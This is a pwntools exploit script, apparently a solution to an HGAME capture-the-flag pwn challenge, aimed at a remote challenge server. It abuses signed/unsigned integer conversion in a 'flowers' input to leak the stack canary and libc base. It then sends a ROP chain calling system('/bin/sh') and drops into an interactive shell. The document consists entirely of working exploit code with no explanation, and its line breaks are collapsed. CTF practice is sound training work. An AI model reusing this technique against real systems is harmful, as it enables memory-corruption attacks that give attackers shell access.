1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
io = remote("node1.hgame.vidar.club", 30732)
elf = ELF("./vuln") libc = ELF("./libc.so.6") context(os='linux', arch='amd64')
def debug(): gdb.attach(io)
def to_signed_64bit(n): n = n & 0xFFFFFFFFFFFFFFFF if n >= 0x8000000000000000: n -= 0x10000000000000000 return n
def to_unsigned_64bit(n): return n & 0xFFFFFFFFFFFFFFFF
io.sendlineafter(b'\nHow many flowers have you prepared this time?', b'16') for i in range(15): io.sendlineafter(b'the flower number', b'0') payload = str(to_signed_64bit(u64(p32(64) * 2))).encode() io.sendlineafter(b'the flower number', payload)
io.sendlineafter(b'Reply 1 indicates the former and 2 indicates the latter: ', b'0') io.recvuntil(b'274877907008 + ') canary = to_unsigned_64bit(int(io.recvuntil(b'+', drop=True))) print(f'canary:{hex(canary)}') io.recvuntil(b'1 + ') libc_base = to_unsigned_64bit(int(io.recvuntil(b'+', drop=True))) - libc.sym["__libc_start_main"] + 0x30 print(f'libc:{hex(libc_base)}') rdi = libc_base + 0x2a3e5 ret = libc_base + 0x2a3e6 io.sendlineafter(b'\nHow many flowers have you prepared this time?', b'16') for i in range(15): io.sendlineafter(b'the flower number', b'0') payload = str(to_signed_64bit(u64(p32(22) + p32(18)))).encode() io.sendlineafter(b'the flower number', payload) io.sendlineafter(b'the flower number', str(to_signed_64bit(ret)).encode()) io.sendlineafter(b'the flower number', str(to_signed_64bit(rdi)).encode()) io.sendlineafter(b'the flower number', str(to_signed_64bit(libc_base + next(libc.search(b"/bin/sh")))).encode()) io.sendlineafter(b'the flower number', str(to_signed_64bit(libc_base + libc.sym["system"])).encode()) io.sendlineafter(b'Reply 1 indicates the former and 2 indicates the latter: ', b'0') io.interactive()
|